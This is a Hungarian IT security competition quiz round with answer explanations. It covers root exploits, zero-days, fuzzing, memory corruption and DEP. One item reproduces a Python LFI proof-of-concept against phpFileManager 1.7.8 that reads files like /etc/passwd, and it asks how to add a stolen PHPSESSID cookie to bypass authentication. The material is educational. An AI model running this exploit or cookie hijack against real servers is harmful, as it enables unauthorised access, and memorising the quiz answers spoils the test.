IT BIZTONSÁG

3. forduló

A kategória támogatója: EURO ONE Számítástechnikai Zrt.

RENDELKEZÉSRE ÁLLÓ IDŐ:

15:00

Ismertető a feladathoz

Fontos információk

> Ezután a forduló után automatikusan jár a kitartóknak szóló garantált ajándékunk, érdemes kitöltened a feladatlapot! :)
>
> Ha kifutsz az adott feladatlap kitöltésére rendelkezésre álló időből, a felület **automatikusan megpróbálja beküldeni** az addig megadott válaszokat.
>
> A kérdésekre **mindig van helyes válasz,** olyan kérdés viszont nincs, amelyre az összes válasz helyes!

Egyéb információkat a versenyszabályzatban találsz!

Harmadik forduló

Egyre több nyom vezet arra, hogy az infrastruktúránkba spear phishing emailek és exploitok segítségével jutottak be a támadók. A csapatoddal utánanézel, pontosan mégis milyen sebezhetőségeket aknázhattak ki a támadók a bejutásra.

Felhasznált idő: 02:05/15:00 **Elért pontszám:** 0/24

1. feladat 0/4 pont

Root exploitnak nevezünk minden olyan támadókódot, amely futtatásának hatására...

Válasz

- ○ Megbénítjuk a célpontot és megakasztjuk a futó processzek normál működését
- ○ Hozzáférést kapunk a célpont hálózatán található tartományvezérlőhöz
- ○ El tudunk rejtőzködni a célpont IP címe mögött és forgalmat mimikálni a nevében
- ◯ Superuser jogosultságokkal tudunk parancsokat végrehajtatni a célponttal

Magyarázat

Akár helyi, akár távoli root exploit sikeres futtatása esetén superuser (*nix rendszereken *root*, Windows rendszereken *Administrator* vagy *NT_AUTHORITY\SYSTEM*) jogosultságokhoz jutunk, és ezen jogosultságok birtokában leszünk képesek tetszőleges parancsokat futtatni a célpont eszközén.

2. feladat 0/4 pont

0-day (zeroday) sebezhetőségnek nevezünk minden olyan biztonsági szoftverhibát, amely...

Válasz

- ○ a CVE-azonosítója hozzárendelésének napján kerül javításra
- ◯ még nem ismert és/vagy nem javított a sebezhető szoftver javításáért felelősek által
- ○ pontosan aznap kerül javításra, amelyiken a sebezhetőséget felfedezik
- ○ egy rosszul implementált korábbi biztonsági frissítés eredményeként keletkezik

Magyarázat

A zeroday sebezhetőség addig zeroday, amíg nincs javítva, de forrása bármilyen lehet, nem feltétlenül egy korábbi biztonsági frissítés eredményeként kell létrejöjjön.

3. feladat 0/2 pont

Mely(ek) a **legpraktikusabb, legidőhatékonyabb** módja(i) a zeroday sebezhetőségek felfedezésének?

Válaszok

- [ ] Véletlenszerű kézi tesztelés
- [x] Fuzzing
- [x] Reverse engineering / forráskód audit

Magyarázat

A fuzzing óriási előnyt tud nyújtani a sebezhetőségek kezdeti felfedezésében. Egy-egy jól bekonfigurált fuzzer segítségével találhatunk crash-scenariokat, amiket tovább vizsgálva, a szoftvert visszamodellezve, debuggolva akár zerodayre is bukkanhatunk. A manuális tesztelés bár működhet, de egy "véletlen" rábukkanás valószínűsége igen alacsony, *emiatt nem soroljuk a praktikus módszerek közé.*. A darkweb fórumokon található sebezhetőségeket pedig már felfedezték előttünk. :)

Frissítés (2021.11.16): Darkweb fórumok böngészése válaszlehetőséget töröltük, mivel a kérdésben megfogalmazott "felfedezés" szóhasználat nem egyértelmű, ezért igaznak is tekinthető.

4. feladat 0/8 pont

Adott az alábbi exploitkód az exploit-db-ről (https://www.exploit-db.com/exploits/46638

```
#!/usr/bin/python
import requests, sys
print "\n[*] phpFileManager 1.7.8 LFI PoC By Murat Kalafatoglu"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
   print "[*] Usage: poc.py <target_ip/domain>"
   exit(0)
```

```
ip_add = sys.argv[1]
dr = raw_input('[+] Directory: aka /etc/\n')
fd = raw_input('[+] File : aka passwd\n')
print "Exploiting....."
print '\n'
_____________________________________________ # 1
exp = requests.get(""+ ip_add + "index.php?action=3&fm_current_dir=" + dr + "&filename=" + fd +"", ___
print exp.text
```

Azt gyanítjuk, hogy a támadók ezt az exploitot használták fel az egyik webszerverünkön található PHP fájlkezelő app sebezhetőségének kiaknázására.

Az app autentikációs fal mögé volt helyezve, de valahogy mégis hozzáfértek a támadók.

Az eddigi nyomok alapján azt tartjuk a legvalószínűbbnek, hogy megszerezték egy már bejelentkezett kollégánk sütijeit.

Mit írhattak a támadók a két számmal jelölt üres mezőbe, hogy a kollégánk bejelentkezett sessionös sütijével (PHPSESSID=q8nletepp4v7jj4bi9t4ufplf2) küldje a kérést az exploit?

Válasz

- ```
  cookies = dict(auth, 'q8nletepp4v7jj4bi9t4ufplf2')
  cookies=cookies
  ```

- ```
  cookies = {'PHPSESSID' : 'q8nletepp4v7jj4bi9t4ufplf2'}
  auth=cookies
  ```

- ```
  cookies = ('PHPSESSID', 'q8nletepp4v7jj4bi9t4ufplf2')
  cookies=cookies
  ```

- ```
  cookies = {'PHPSESSID' : 'q8nletepp4v7jj4bi9t4ufplf2'}
  cookies=cookies
  ```

Magyarázat

A requests.get() függvénynek a cookies paraméterét kell beállítanunk, ha egy sütit is szeretnénk küldeni a kéréssel. A cookies paraméter csak Dictionary és CookieJar típusú objecteket fogad el, tuple-öket nem, lásd: https://docs.python-requests.org/en/master/api/#requests.request. Hogy sikeresen azonosítsuk magunkat a már bejelentkezett sessionnel, a dictionary kulcsának mindenképpen a "PHPSESSID" stringnek kell lennie.

5. feladat 0/2 pont

Az alábbi állítás igaz vagy hamis?

A buffer overflow sebezhetőségek kiváltó oka a nem megfelelően szűrt és ellenőrzött user input, ennek következtében olyan programmemória is felülíródik felhasználói adattal, aminek normál esetben nem szabadna.

Válasz

- ◯ igaz
- ◯ hamis

Magyarázat

https://hu.wikipedia.org/wiki/Puffert%C3%BAlcsordul%C3%A1s

6. feladat 0/2 pont

Az alábbi állítás igaz vagy hamis?

A heap-memória korrupciójából eredő sebezhetőségek (heap overflow, use-after-free) az utóbbi években jelentősen visszaszoruló tendenciát mutatnak.

Válasz

- ◯ igaz
- ◯ hamis

Magyarázat

Ellenkezőleg, a heap-sebezhetőségek egyre többször ütik fel a fejüket manapság, komoly és néha hosszú évekig megbúvó biztonsági réseket felfedve. Elég csak az idén felfedezett 10 éves sudo sebezhetőségre gondolni (https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit), de az Észak-Koreai hackerek által IT biztonsági kutatók ellen bevetett Chrome 0-day exploit (https://www.securedata.com/blog/google-patches-active-zero-day-chrome-exploit), illetve az NSO Group-féle Pegasus egyik iOS 0-day exploitja (https://www.trendmicro.com/en_no/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html) is heap sebezhetőséget aknáz ki.

7. feladat 0/2 pont

Milyen védelmet biztosít exploitok ellen az NX bit / DEP?

Válasz

- ◯ Meggátolja, hogy adattárolásra használt memóriából hajtsunk végre utasításokat
- ◯ Egy függvény visszatérési címének felülírása esetén leállítja a programot
- ◯ Minden futáskor véletlenszerű címekre tölti be a könyvtárakat, függvényeket
- ◯ Meggátolja, hogy futás közben felülíródjanak a függvény pointerek a Global Offset Tableben

Magyarázat

https://hu.wikipedia.org/wiki/NX_bit